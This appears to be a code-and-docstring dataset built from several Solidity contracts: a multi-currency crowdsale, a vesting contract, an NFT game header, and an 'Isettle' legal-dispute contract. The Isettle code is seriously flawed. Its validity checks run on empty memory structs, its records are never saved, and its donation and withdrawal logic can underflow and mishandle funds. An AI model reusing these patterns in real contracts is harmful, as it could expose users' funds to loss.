_phaseCrowdsale, address _oraclizeContract ) public Crowdsale(_rate, _wallet, _token) RefundableCrowdsale(_softCapUSDInCents) TimedCrowdsale(_phasesTime[0], _phasesTime[1]) MultiCurrencyRates(_fiatContract) { require(_phasesTime[2] >= _phasesTime[0]); require(_phasesTime[3] >= _phasesTime[2]); require(_phasesTime[1] >= _phasesTime[3]); require(_hardCapUSDInCents > 0); require(_softCapUSDInCents <= _hardCapUSDInCents); cap = _hardCapUSDInCents; // token delivery starts 15 days after the crowdsale ends deliveryTime = _phasesTime[1].add(15 days); oraclizeContract = OraclizeContractInterface(_oraclizeContract); phaseCrowdsale = PhaseCrowdsaleInterface(_phaseCrowdsale); } /** * @dev Reverts if crowdsale is not finalized */ modifier whenFinalized { require(isFinalized); _; } /** * @dev Reverts if caller isn't oraclizeContract */ modifier onlyOraclize { require(msg.sender == address(oraclizeContract)); _; } /** * @dev Get multi currency investor contribution. * @param _currencyWallet Address of currency wallet * @return Amount of currency contribution */ function getMultiCurrencyInvestorContribution(string _currencyWallet) public view returns(uint256) { return oraclizeContract.getMultiCurrencyInvestorContribution(_currencyWallet); } /** * @dev Calculates the sum amount of tokens which were unsold or remaining during all crowdsale phases. * @return The total amount of unsold tokens */ function calculateTotalRemainingPublicSupply() private view returns (uint256) { uint256 totalRemainingPublicSupply = 0; for (uint i = 0; i < remainingPublicSupplyPerPhase.length; i++) { totalRemainingPublicSupply = totalRemainingPublicSupply.add(remainingPublicSupplyPerPhase[i]); } return totalRemainingPublicSupply; } /** * @dev Validation of an incoming purchase. Allowas purchases only when crowdsale is not paused. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal whenNotPaused { super._preValidatePurchase(_beneficiary, _weiAmount); rate = uint256(1 ether).mul(1 ether).div(getUSDCentToWeiRate()).div(phaseCrowdsale.getCurrentTokenPriceInCents()); } /** * @dev Executed by oraclize when a purchase has been validated and is ready to be executed. * It computes the bonus. * @param _beneficiary Address receiving the tokens * @param _tokenAmount Number of tokens to be purchased */ function processPurchase(address _beneficiary, uint256 _tokenAmount) public onlyOraclize onlyWhileOpen isWhitelisted(_beneficiary) { _processPurchase(_beneficiary, _tokenAmount); } /** * @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens. * It computes the bonus. * @param _beneficiary Address receiving the tokens * @param _tokenAmount Number of tokens to be purchased */ function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { uint256 totalAmount = _tokenAmount; uint256 bonusPercent = phaseCrowdsale.getCurrentBonusPercentage(); if (bonusPercent > 0) { uint256 bonusAmount = totalAmount.mul(bonusPercent).div(100); // tokens * bonus (%) / 100% totalAmount = totalAmount.add(bonusAmount); } uint256 phaseNumber = phaseCrowdsale.getPhaseNumber(); require(remainingPublicSupplyPerPhase[phaseNumber] >= totalAmount); super._processPurchase(_beneficiary, totalAmount); remainingPublicSupplyPerPhase[phaseNumber] = remainingPublicSupplyPerPhase[phaseNumber].sub(totalAmount); } /** * @dev Withdraw tokens only after the deliveryTime */ function withdrawTokens() public whenFinalized { require(isGoalReached); // solium-disable-next-line security/no-block-members require(now > deliveryTime); super.withdrawTokens(); } /** * @dev Investors can claim refunds here if crowdsale is unsuccessful */ function claimRefund() public whenFinalized { require(!isGoalReached); vault.refund(msg.sender); } /** * @dev Token purchase with LTC * @param _ethWallet Address receiving the tokens * @param _ltcWallet LTC address who paid for the tokens * @param _ltcAmount Value in LTC involved in the purchase */ function buyTokensWithLTC(address _ethWallet, string _ltcWallet, uint256 _ltcAmount) public onlyOwner { oraclizeContract.buyTokensWithLTC(_ethWallet, _ltcWallet, _ltcAmount); } /** * @dev Token purchase with BTC * @param _ethWallet Address receiving the tokens * @param _btcWallet BTC address who paid for the tokens * @param _btcAmount Value in BTC involved in the purchase */ function buyTokensWithBTC(address _ethWallet, string _btcWallet, uint256 _btcAmount) public onlyOwner { oraclizeContract.buyTokensWithBTC(_ethWallet, _btcWallet, _btcAmount); } /** * @dev Token purchase with BNB * @param _ethWallet Address receiving the tokens * @param _bnbWallet BNB address who paid for the tokens * @param _bnbAmount Value in BNB involved in the purchase */ function buyTokensWithBNB(address _ethWallet, string _bnbWallet, uint256 _bnbAmount) public payable onlyOwner { oraclizeContract.buyTokensWithBNB.value(msg.value)(_ethWallet, _bnbWallet, _bnbAmount); } /** * @dev Token purchase with BCH * @param _ethWallet Address receiving the tokens * @param _bchWallet BCH address who paid for the tokens * @param _bchAmount Value in BCH involved in the purchase */ function buyTokensWithBCH(address _ethWallet, string _bchWallet, uint256 _bchAmount) public payable onlyOwner { oraclizeContract.buyTokensWithBCH.value(msg.value)(_ethWallet, _bchWallet, _bchAmount); } /** * @dev The way in which ether is converted to tokens. * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate).div(1 ether); // divisor 10^18 to nullify multiplier from _calculateCurrentRate } /** * @dev Finalization logic. * Burn the remaining tokens. * Transfer token ownership to contract owner. */ function finalization() internal { oraclizeContract.finalize(); } /** * @dev Executed by oraclize when multicurrency finalization is calculated * @param _usdRaised usdCent reised with multicurrency */ function finalizationCallback(uint256 _usdRaised) public onlyOraclize { uint256 usdRaised = weiRaised.div(getUSDCentToWeiRate()).add(_usdRaised); if(usdRaised >= goal) { emit LogInfo("Finalization completed"); isGoalReached = true; vault.close(); } else { emit LogInfo("Finalization failed"); vault.enableRefunds(); } uint256 totalRemainingPublicSupply = calculateTotalRemainingPublicSupply(); if (totalRemainingPublicSupply > 0) { BurnableTokenInterface(address(token)).burn(totalRemainingPublicSupply); delete remainingPublicSupplyPerPhase; } Ownable(address(token)).transferOwnership(owner); } }
Parse currency rate from oraclize response oraclizeResult Result from Oraclize with currencies prices _currencyTicker Currency tiker return Currency price string in USD/
function parseCurrencyRate(string oraclizeResult, string _currencyTicker) internal pure returns(string) { strings.slice memory response = oraclizeResult.toSlice(); strings.slice memory needle = _currencyTicker.toSlice(); strings.slice memory tickerPrice = response.find(needle).split("}".toSlice()).find(" ".toSlice()).rsplit(" ".toSlice()); return tickerPrice.toString();
14,096,977
pragma solidity >=0.4.21 <0.7.0; contract Isettle{ //state variables address owner; address[] public adminsList; uint[] public lawyersList; address[] public expertsList; string[] public claimantsList; string[] public respondentsList; address[] public caseList; address[] public inmateList; uint16 public adminIndex; uint public caseCount; uint public claimantsIndex; uint public lawyersIndex; uint public expertsIndex; uint public respondentsIndex; uint public inmateCount; uint public donationTotal; uint public donationCount; struct Admin{ address adminId; bool isAdmin; } struct Lawyers{ address lawyersId; string fullName; string email; uint phoneNumber; string speciality; uint supremeCourtNo; bool isLawyer; address caseId; } struct Experts{ address expertsId; string fullName; string email; uint phoneNumber; string speciality; bool isExpert; address caseId; } struct Case{ address caseId; string complaints;//complainants agitation string response; //defendants response string settlement;//The lawyers(s) settlement string caseSpeciality; bool isSettled;//To know if a case is settled or not bool caseExist;//To know if a case already exist or no } struct Complainants{ address complainantsId; string fullName; string email; uint phoneNumber; string expertise; address caseId; } struct Respondents{ address respondentsId; string fullName; uint phoneNumber; string email; string expertise; address caseId; } struct Inmates{ address inmateId; string fullName; string homeAddress; bytes32 inmateNumber; uint bailFee; bool exist; bool isFreed; } enum caseStatus {pending,ongoing,defaulted,settled} caseStatus public casestatus; mapping (address =>Lawyers)public lawyersmap; mapping(address =>Experts)public expertsmap; mapping(address =>Case) public casesmap; mapping(address =>Complainants) public complainantsmap; mapping(address =>Respondents) public respondentsmap; mapping(address => Admin) public adminsmap; mapping(address => uint256) balances; //MODIFIERS modifier onlyOwner(){ require(msg.sender == owner, "Access denied,not the owner"); _; } modifier onlyAdmins{ require(adminsmap[msg.sender].isAdmin,"Access denied,only admin"); _; } modifier onlyExperts(){ require(expertsmap[msg.sender].isExpert,"Access denied,only expert"); _; } modifier onlyLawyers(){ require(lawyersmap[msg.sender].isLawyer,"Access denied,only lawyer"); _; } //modifier onlyExperts(string memory _speciality){ //Experts memory expertStruct; //require(expertsmap[msg.sender].isExpert == true && // keccak256(abi.encodePacked(expertStruct.speciality)) //== keccak256(abi.encodePacked(_speciality)),"Not an expert or in the field"); // _; //} //modifier onlyLawyers(string memory _speciality){ // Lawyers memory lawyerStruct; //require(lawyersmap[msg.sender].isLawyer == true && //keccak256(abi.encodePacked(lawyerStruct.speciality)) //== keccak256(abi.encodePacked(_speciality)),"Not an expert or in the field"); //_; //} //EVENTS event AdminAdded(address newAdmin,uint indexed adminIndex); event lawyersAdded(string msg,string indexed fullName,string speciality,uint _supremeCourtNo); event expertsAdded(string msg,string indexed fullName,string speciality); event AdminRemoved(address admin,uint indexed adminIndex); event LawyerRemoved(address lawyerAddress,uint indexed lawyersIndex); event ExpertRemoved(address expertAddress,uint indexed lawyersIndex); event CaseAdded(string msg,address indexed caseId,string caseSpeciality,string complaints); event ResponseAdded(string msg,address indexed caseId,string caseSpeciality,string _response); event CaseAnalysisAdded(string msg,address indexed caseId,string caseSpeciality,string ); event CaseResolutionAdded(string msg,address indexed caseId,string caseSpeciality,string response); event NewInmateAdded(string msg,address _inmateId, string _fullName,string _homeAddress,bytes32 _inmateNumber,uint _bailFee); //CONSTRUCTOR constructor() public{ owner = msg.sender; addAdmin(owner); casestatus = caseStatus.pending; } //FUNCTIONS //Allows owner to add an admin function addAdmin(address _newAdmin) public onlyOwner{ Admin memory _admin; require(adminsmap[_newAdmin].isAdmin == false,"Admin already exist"); adminsmap[_newAdmin] = _admin; adminsmap[_newAdmin].isAdmin = true; adminIndex += 1; adminsList.push(_newAdmin); emit AdminAdded(_newAdmin,adminIndex); } //Allows admins to add lawyers function addLawyer(address _lawyersId,string memory _fullName,string memory _email,uint _phoneNumber,string memory _speciality,uint _supremeCourtNo)public onlyAdmins { Experts memory _expertStruct; Lawyers memory _lawyerStruct; require(_expertStruct.isExpert == false,"Already registered as an expert"); require(_lawyerStruct.isLawyer == false,"Already registered as a lawyer"); require(adminsmap[_lawyersId].isAdmin == false,"Address already exist as an admin"); _lawyerStruct.lawyersId =_lawyersId; _lawyerStruct.email =_email; _lawyerStruct.phoneNumber = _phoneNumber; _lawyerStruct.fullName =_fullName; _lawyerStruct.speciality =_speciality; _lawyerStruct.supremeCourtNo =_supremeCourtNo; caseCount = 0; lawyersIndex += 1; lawyersList.push(_supremeCourtNo); emit lawyersAdded("New lawyer added:",_fullName,_speciality,_supremeCourtNo); } //Allows admin to add experts function addExpert(address _expertsId,string memory _fullName,string memory _email,uint _phoneNumber,string memory _speciality)public onlyAdmins { Lawyers memory _lawyerStruct; Experts memory _expertStruct; require(adminsmap[_expertsId].isAdmin == false,"Address already exist as an admin"); require(_expertStruct.isExpert == false,"Expert already exist"); require(_lawyerStruct.isLawyer == false,"Already registered as a lawyer"); _expertStruct.expertsId = _expertsId; _expertStruct.fullName =_fullName; _expertStruct.phoneNumber =_phoneNumber; _expertStruct.email =_email; _expertStruct.speciality =_speciality; caseCount = 0; expertsIndex += 1; emit expertsAdded("New expert added:",_fullName,_speciality); } function addComplainant(address _complainantsId,string memory _fullName,string memory _email,uint _phoneNumber)public onlyAdmins { //Case memory caseStruct; require(adminsmap[_complainantsId].isAdmin == false,"Address already exist as an admin"); Complainants memory complainantStruct; complainantStruct.complainantsId =_complainantsId; complainantStruct.fullName =_fullName; complainantStruct.email =_email; complainantStruct.phoneNumber =_phoneNumber; claimantsIndex += 1; claimantsList.push(_fullName); // emit lawyersAdded("New lawyer added:",_fullName,_speciality,_supremeCourtNo); } function addRespondents(address _respondentsId,string memory _fullName,uint _phoneNumber, string memory _email)public onlyAdmins { Respondents memory respondentStruct; respondentStruct.respondentsId =_respondentsId; respondentStruct.fullName =_fullName; respondentStruct.email =_email; respondentStruct.phoneNumber =_phoneNumber; respondentsIndex += 1; respondentsList.push(_email); //emit respondentsAdded("New lawyer added:",_fullName,_speciality,_supremeCourtNo); } //Allow the current owner to remove an Admin function removeAdmin(address _adminAddress) public onlyOwner{ require(adminsmap[_adminAddress].isAdmin == true,"Sorry,address is not an admin"); require(adminIndex > 1,"Atleast one admin is required"); require(_adminAddress != owner,"owner cannot be removed"); delete adminsmap[_adminAddress]; adminIndex -= 1; emit AdminRemoved( _adminAddress,adminIndex); } function removeLawyer(address _lawyerAddress) public onlyOwner{ require(lawyersmap[_lawyerAddress].isLawyer == true,"Sorry,address is not a lawyer"); require(lawyersIndex > 1,"Atleast one lawyer is required"); require(_lawyerAddress != owner,"owner cannot be removed"); delete lawyersmap[_lawyerAddress]; adminIndex -= 1; emit LawyerRemoved( _lawyerAddress,lawyersIndex); } function removeExpert(address _expertAddress) public onlyOwner{ require(expertsmap[_expertAddress].isExpert == true,"Sorry,address is not an expert"); require(expertsIndex > 1,"Atleast one expert is required"); require(_expertAddress != owner,"owner cannot be removed"); delete expertsmap[_expertAddress]; adminIndex -= 1; emit ExpertRemoved( _expertAddress,expertsIndex); } function lodgeComplaint(address _caseId,string memory _caseSpeciality,string memory _complaint)public { Case memory _caseStruct; require(_caseStruct.caseExist == false,"Case already exist"); require(_caseStruct.isSettled == false,"Case has been settled by a lawyer"); require(casesmap[_caseId].caseExist == false,"Case already exist"); _caseStruct.caseId = _caseId; _caseStruct.caseSpeciality =_caseSpeciality; caseCount += 1; caseList.push(_caseId); emit CaseAdded("New case added:",_caseId,_caseSpeciality,_complaint); } function respondToComplaint(address _caseId,string memory _caseSpeciality,string memory _response)public { Case memory _caseStruct; require(_caseStruct.caseExist == true,"Case does not exist"); require(_caseStruct.isSettled == false,"Case has been settled by a lawyer"); _caseStruct.caseId = _caseId; _caseStruct.caseSpeciality =_caseSpeciality; caseCount += 1; caseList.push(_caseId); emit ResponseAdded("New response added:",_caseId,_caseSpeciality,_response); } function analyseCase(address _caseId,string memory _caseSpeciality,string memory _analysis)public onlyExperts { Case memory _caseStruct; require(_caseStruct.caseExist == false,"Case already exist"); require(_caseStruct.isSettled == false,"Case has been settled by a lawyer"); require(casesmap[_caseId].caseExist == false,"Case already exist"); _caseStruct.caseId = _caseId; _caseStruct.caseSpeciality =_caseSpeciality; caseCount += 1; caseList.push(_caseId); emit CaseAnalysisAdded("New case analysis added:",_caseId,_caseSpeciality,_analysis); } function resolveDispute(address _caseId,string memory _caseSpeciality,string memory _resolution)public onlyLawyers { Case memory _caseStruct; require(_caseStruct.caseExist == false,"Case already exist"); require(_caseStruct.isSettled == false,"Case has been settled by a lawyer"); require(casesmap[_caseId].caseExist == false,"Case already exist"); _caseStruct.caseId = _caseId; _caseStruct.caseSpeciality =_caseSpeciality; caseCount += 1; caseList.push(_caseId); emit CaseResolutionAdded("New case resolution added:",_caseId,_caseSpeciality,_resolution); } function addInmate(address _inmateId,string memory _fullName,string memory _homeAddress,bytes32 _inmateNumber,uint _bailFee)public { Inmates memory inmateStruct; require(inmateStruct.exist == false,"inmate already exist"); inmateStruct.inmateId = _inmateId; inmateStruct.fullName =_fullName; inmateStruct.homeAddress =_homeAddress; inmateStruct.inmateNumber =_inmateNumber; inmateStruct.bailFee =_bailFee; inmateCount += 1; inmateList.push(_inmateId); emit NewInmateAdded("New inmate added:",_inmateId,_fullName,_homeAddress,_inmateNumber,_bailFee); } function freeInmate(address inmateId,string memory fullName,bytes32 inmateNumber,uint bailFee)public { Inmates memory inmateStruct; require(inmateStruct.exist == true,"inmate does not exist"); require(inmateStruct.isFreed == false,"inmate"); } function donateEth(uint _donation) public payable { balances[msg.sender] -= _donation; donationTotal += _donation; donationCount += 1; require(_donation >= 5000000000000000,"Below minimum donation"); } function withdraw(uint _withdrawal) public payable onlyOwner{ balances[msg.sender] += _withdrawal; donationTotal -= _withdrawal; require(msg.sender.send(donationTotal)); } }
FUNCTIONSAllows owner to add an admin
function addAdmin(address _newAdmin) public onlyOwner{ Admin memory _admin; require(adminsmap[_newAdmin].isAdmin == false,"Admin already exist"); adminsmap[_newAdmin] = _admin; adminsmap[_newAdmin].isAdmin = true; adminIndex += 1; adminsList.push(_newAdmin); emit AdminAdded(_newAdmin,adminIndex); }
5,379,025
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.6.2; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/proxy/Initializable.sol"; import "./interfaces/IEmiVesting.sol"; import "./interfaces/IERC20Detailed.sol"; import "./libraries/Priviledgeable.sol"; contract EmiVesting is Initializable, Priviledgeable, IEmiVesting { using SafeMath for uint; using SafeMath for uint256; using SafeERC20 for IERC20; //----------------------------------------------------------------------------------- // Data Structures //----------------------------------------------------------------------------------- uint32 constant QUARTER = 3 * 43776 minutes; // 3 months of 30.4 days in seconds; uint constant WEEK = 7 days; uint constant CROWDSALE_LIMIT = 40000000e18;// tokens uint constant CATEGORY_COUNT = 12; // Maximum category count uint32 constant VIRTUAL_MASK = 0x80000000; uint32 constant PERIODS_MASK = 0x0000FFFF; struct LockRecord { uint amountLocked; // Amount of locked tokens in total uint32 periodsLocked; // Number of periods locked in total and withdrawn: withdrawn << 16 + total uint32 periodLength; // Length of the period uint32 freezeTime; // Time when tokens were frozen uint32 category; // High bit of category means that its virtual tokens } struct CategoryRecord { uint tokensAcquired; uint tokensMinted; uint tokensAvailableToMint; } event TokensLocked(address indexed beneficiary, uint amount); event TokensClaimed(address indexed beneficiary, uint amount); event TokenChanged(address indexed oldToken, address indexed newToken); //----------------------------------------------------------------------------------- // Variables, Instances, Mappings //----------------------------------------------------------------------------------- /* Real beneficiary address is a param to this mapping */ mapping(address => LockRecord[]) private _locksTable; mapping(address => CategoryRecord[CATEGORY_COUNT]) private _statsTable; address public _token; uint public version; uint public currentCrowdsaleLimit; // !!!In updates to contracts set new variables strictly below this line!!! //----------------------------------------------------------------------------------- string public codeVersion = "EmiVesting v1.0-20-ga130a08"; //----------------------------------------------------------------------------------- // Smart contract Constructor //----------------------------------------------------------------------------------- function initialize(address _ESW) public initializer { require(_ESW != address(0), "Token address cannot be empty"); _token = _ESW; currentCrowdsaleLimit = CROWDSALE_LIMIT; _addAdmin(msg.sender); _addAdmin(_ESW); } //----------------------------------------------------------------------------------- // Observers //----------------------------------------------------------------------------------- // Return unlock date and amount of given lock function getLock(address beneficiary, uint32 idx) external onlyAdmin view returns (uint, uint, uint) { require(beneficiary != address(0), "Beneficiary should not be zero address"); require(idx < _locksTable[beneficiary].length, "Lock index is out of range"); return _getLock(beneficiary, idx); } function getLocksLen(address beneficiary) external onlyAdmin view returns (uint) { require(beneficiary != address(0), "Beneficiary should not be zero address"); return _locksTable[beneficiary].length; } function getStats(address beneficiary, uint32 category) external onlyAdmin view returns (uint, uint, uint) { require(beneficiary != address(0), "Beneficiary should not be zero address"); require(category < CATEGORY_COUNT, "Wrong category idx"); return (_statsTable[beneficiary][category].tokensAcquired, _statsTable[beneficiary][category].tokensMinted, _statsTable[beneficiary][category].tokensAvailableToMint); } //----------------------------------------------------------------------------------- // Observers //----------------------------------------------------------------------------------- // Return closest unlock date and amount function getNextUnlock() external view returns (uint, uint) { uint lockAmount = 0; uint unlockTime = 0; LockRecord[] memory locks = _locksTable[msg.sender]; for (uint i = 0; i < locks.length; i++) { uint32 periodsWithdrawn = locks[i].periodsLocked >> 16; uint32 periodsTotal = locks[i].periodsLocked & PERIODS_MASK; for (uint j = periodsWithdrawn; j < periodsTotal; j++) { if (locks[i].freezeTime + locks[i].periodLength * (j+1) >= block.timestamp) { if (unlockTime == 0) { unlockTime = locks[i].freezeTime + locks[i].periodLength * (j+1); lockAmount = locks[i].amountLocked / periodsTotal; } else { if (unlockTime > locks[i].freezeTime + locks[i].periodLength * (j+1)) { unlockTime = locks[i].freezeTime + locks[i].periodLength * (j+1); lockAmount = locks[i].amountLocked / periodsTotal; } } } } } return (unlockTime, lockAmount); } function getMyLock(uint idx) external view returns (uint, uint, uint) { require(idx < _locksTable[msg.sender].length, "Lock index is out of range"); return _getLock(msg.sender, uint32(idx)); } function getMyLocksLen() external view returns (uint) { return _locksTable[msg.sender].length; } function getMyStats(uint category) external view returns (uint, uint, uint) { require(category < CATEGORY_COUNT, "Wrong category idx"); return (_statsTable[msg.sender][category].tokensAcquired, _statsTable[msg.sender][category].tokensMinted, _statsTable[msg.sender][category].tokensAvailableToMint); } function unlockedBalanceOf(address beneficiary) external view returns (uint) { require(beneficiary != address(0), "Address should not be zero"); return _getBalance(beneficiary, false, false) - _getBalance(beneficiary, true, false); } function balanceOf(address beneficiary) external override view returns (uint) { require(beneficiary != address(0), "Address should not be zero"); return _getBalance(beneficiary, false, false) + _getBalance(beneficiary, false, true); } function balanceOfVirtual(address beneficiary) external view returns (uint) { require(beneficiary != address(0), "Address should not be zero"); return _getBalance(beneficiary, false, true); } function getCrowdsaleLimit() external override view returns (uint) { return currentCrowdsaleLimit; } function freeze(address beneficiary, uint tokens, uint category) external override onlyAdmin { require(beneficiary != address(0), "Address should not be zero"); require(tokens >= 0, "Token amount should be positive non-zero"); require(currentCrowdsaleLimit >= tokens, "Crowdsale tokens limit reached"); require(category < CATEGORY_COUNT, "Wrong category idx"); _freeze3(beneficiary, uint32((block.timestamp / WEEK) * WEEK), tokens, uint32(category), false, true); _statsTable[beneficiary][category].tokensAcquired += tokens; _statsTable[beneficiary][category].tokensMinted += tokens; emit TokensLocked(beneficiary, tokens); } // freeze presale tokens from specified date function freeze2(address beneficiary, uint sinceDate, uint tokens, uint category) external onlyAdmin { require(beneficiary != address(0), "Address should not be zero"); require(sinceDate > 1593561600, "Date must be after token sale start"); // 2020-07-01 require(tokens > 0, "Token amount should be positive non-zero"); require(currentCrowdsaleLimit >= tokens, "Crowdsale tokens limit reached"); require(category < CATEGORY_COUNT, "Wrong category idx"); _freeze3(beneficiary, uint32((sinceDate / WEEK) * WEEK), tokens, uint32(category), false, true); _statsTable[beneficiary][category].tokensAcquired += tokens; _statsTable[beneficiary][category].tokensMinted += tokens; emit TokensLocked(beneficiary, tokens); } // freeze presale tokens from specified date function freezeBulk(address[] calldata beneficiaries, uint[] calldata sinceDate, uint[] calldata tokens, uint category) external onlyAdmin { require(beneficiaries.length > 0, "Array should not be empty"); require(beneficiaries.length == sinceDate.length, "Arrays should be of equal length"); require(sinceDate.length == tokens.length, "Arrays should be of equal length"); uint cct = currentCrowdsaleLimit; for (uint i = 0; i < beneficiaries.length; i++) { require(cct >= tokens[i], "Crowdsale tokens limit reached"); cct -= tokens[i]; _freeze3(beneficiaries[i], uint32((sinceDate[i] / WEEK) * WEEK), tokens[i], uint32(category), false, false); _statsTable[beneficiaries[i]][category].tokensAcquired += tokens[i]; _statsTable[beneficiaries[i]][category].tokensMinted += tokens[i]; emit TokensLocked(beneficiaries[i], tokens[i]); } } // freeze presale tokens from current date without crowdSaleLimit updates function freezeVirtual(address beneficiary, uint tokens, uint category) external override onlyAdmin { require(beneficiary != address(0), "Address should not be zero"); require(tokens > 0, "Token amount should be positive non-zero"); require(category < CATEGORY_COUNT, "Wrong category idx"); _freeze3(beneficiary, uint32((block.timestamp / WEEK) * WEEK), tokens, uint32(category), true, false); _statsTable[beneficiary][category].tokensAcquired += tokens; _statsTable[beneficiary][category].tokensAvailableToMint += tokens; } // freeze presale tokens from specified date with crowdsale limit updates function freezeVirtual2(address beneficiary, uint32 sinceDate, uint tokens, uint category) external override onlyAdmin { require(beneficiary != address(0), "Address should not be zero"); require(sinceDate > 1593561600, "Date must be after token sale start"); // 2020-07-01 require(tokens > 0, "Token amount should be positive non-zero"); require(category < CATEGORY_COUNT, "Wrong category idx"); _freeze3(beneficiary, uint32((sinceDate / WEEK) * WEEK), tokens, uint32(category), true, true); _statsTable[beneficiary][category].tokensAcquired += tokens; _statsTable[beneficiary][category].tokensAvailableToMint += tokens; } function claim() external returns (bool) { uint tokensAvailable = _getBalance(msg.sender, false, false) - _getBalance(msg.sender, true, false); require(tokensAvailable > 0, "No unlocked tokens available"); LockRecord[] memory addressLock = _locksTable[msg.sender]; for (uint i = 0; i < addressLock.length; i++) { if (!_isVirtual(addressLock[i].category)) { // not virtual tokens, claim uint32 periodsWithdrawn = addressLock[i].periodsLocked >> 16; uint32 periodsTotal = addressLock[i].periodsLocked & PERIODS_MASK; uint32 newPeriods = 0; for (uint j = periodsWithdrawn; j < periodsTotal; j++) { if (addressLock[i].freezeTime + addressLock[i].periodLength * (j+1) < block.timestamp) { newPeriods++; } } if (newPeriods > 0) { _locksTable[msg.sender][i].periodsLocked = ((periodsWithdrawn + newPeriods) << 16) + periodsTotal; } } } emit TokensClaimed(msg.sender, tokensAvailable); return IERC20(_token).transfer(msg.sender, tokensAvailable); } // function changes token address function changeToken(address _newtoken) external onlyAdmin returns (bool) { require(_newtoken != address(0), "New token cannot be null"); emit TokenChanged(_token, _newtoken); _token = _newtoken; return true; } //----------------------------------------------------------------------------------- // Locks manipulation //----------------------------------------------------------------------------------- function _freeze(address _beneficiary, uint32 _freezetime, uint _tokens, uint32 category, bool isVirtual, bool updateCS) internal { uint32 cat = (isVirtual)?category | VIRTUAL_MASK: category; LockRecord memory l = LockRecord({ amountLocked: _tokens, periodsLocked: 4, periodLength: QUARTER, freezeTime: _freezetime, category: cat}); if (updateCS) { require(currentCrowdsaleLimit >= _tokens, "EmiVesting: crowdsale limit exceeded"); currentCrowdsaleLimit = currentCrowdsaleLimit.sub(_tokens); } _locksTable[_beneficiary].push(l); } function _freeze3(address _beneficiary, uint32 _freezetime, uint _tokens, uint32 category, bool isVirtual, bool updateCS) internal { LockRecord[] storage lrec = _locksTable[_beneficiary]; bool recordFound = false; for (uint j = 0; j < lrec.length; j++) { if (lrec[j].freezeTime == _freezetime && (lrec[j].category & ~VIRTUAL_MASK)==category) { recordFound = true; lrec[j].amountLocked += _tokens; if (updateCS) { require(currentCrowdsaleLimit >= _tokens, "EmiVesting: crowdsale limit exceeded 3"); currentCrowdsaleLimit = currentCrowdsaleLimit.sub(_tokens); } } } if (!recordFound) { // no record found, create new _freeze(_beneficiary, _freezetime, _tokens, category, isVirtual, updateCS); } } function _getBalance(address beneficiary, bool locked, bool isVirtual) internal view returns (uint) { LockRecord[] memory addressLock = _locksTable[beneficiary]; uint totalBalance = 0; uint lockedBalance = 0; for (uint i = 0; i < addressLock.length; i++) { if (_isVirtual(addressLock[i].category) == isVirtual) { uint32 periodsWithdrawn = addressLock[i].periodsLocked >> 16; uint32 periodsTotal = addressLock[i].periodsLocked & PERIODS_MASK; uint periodAmount = addressLock[i].amountLocked / periodsTotal; totalBalance += addressLock[i].amountLocked - (periodAmount * periodsWithdrawn); for (uint j = periodsWithdrawn; j < periodsTotal; j++) { if (addressLock[i].freezeTime + addressLock[i].periodLength * (j+1) >= block.timestamp) { lockedBalance += periodAmount; } } } } return (locked)?lockedBalance:totalBalance; } function _getLock(address beneficiary, uint32 idx) internal view returns (uint, uint, uint) { uint32 periodsWithdrawn = _locksTable[beneficiary][idx].periodsLocked >> 16; uint32 periodsTotal = _locksTable[beneficiary][idx].periodsLocked & PERIODS_MASK; return (_locksTable[beneficiary][idx].freezeTime, _locksTable[beneficiary][idx].amountLocked.div(periodsTotal).mul(periodsTotal-periodsWithdrawn), _locksTable[beneficiary][idx].category & ~VIRTUAL_MASK); } function _isVirtual(uint32 v) internal pure returns (bool) { return (v & VIRTUAL_MASK) > 0; } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, address beneficiary, uint tokens) public onlyAdmin returns (bool success) { require(tokenAddress!=address(0), "Token address cannot be 0"); require(tokenAddress!=_token, "Token cannot be ours"); return IERC20(tokenAddress).transfer(beneficiary, tokens); } }
freeze presale tokens from current date without crowdSaleLimit updates
function freezeVirtual(address beneficiary, uint tokens, uint category) external override onlyAdmin { require(beneficiary != address(0), "Address should not be zero"); require(tokens > 0, "Token amount should be positive non-zero"); require(category < CATEGORY_COUNT, "Wrong category idx"); _freeze3(beneficiary, uint32((block.timestamp / WEEK) * WEEK), tokens, uint32(category), true, false); _statsTable[beneficiary][category].tokensAcquired += tokens; _statsTable[beneficiary][category].tokensAvailableToMint += tokens; }
13,066,294
// SPDX-License-Identifier: MIT pragma solidity ^0.8.6; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "./traits/TokenTraits.sol"; import "./traits/ITraits.sol"; import "./IVampireGame.sol"; /// @title The Vampire Game NFT contract /// /// Note: The original Wolf Game's contract was used as insipiration, and a /// few parts of the contract were taken directly, in particular the trait selection /// and rarity using Walker's Alias method, and using a separate `Traits` contract /// for getting the tokenURI. /// /// Some info about how this contract works: /// /// ### On-chain vs Off-chain /// /// What is on-chain here? /// - The generated traits /// - The revealed traits metadata /// - The traits img data /// /// What is off-chain? /// - The random number we get for batch reveals. /// - The non-revealed image. /// /// ### Minting and Revealing /// /// 1. The user mints an NFT /// 2. A seed is assigned for OG and Gen0 batches, this reveals the NFTs. /// /// Why? We believe that as long as minting and revealing happens in the same /// transaction, people will be able to cheat. So first you commit to minting, then /// the seed is released. /// /// ### Traits /// /// The traits are all stored on-chain in another contract "Traits" similar to Wolf Game. /// /// ### Game Controllers /// /// For us to be able to expand on this game, future "game controller" contracts will be /// able to freely call `mint` functions, and `transferFrom`, the logic to safeguard /// those functions will be delegated to those contracts. /// contract VampireGame is IVampireGame, IVampireGameControls, 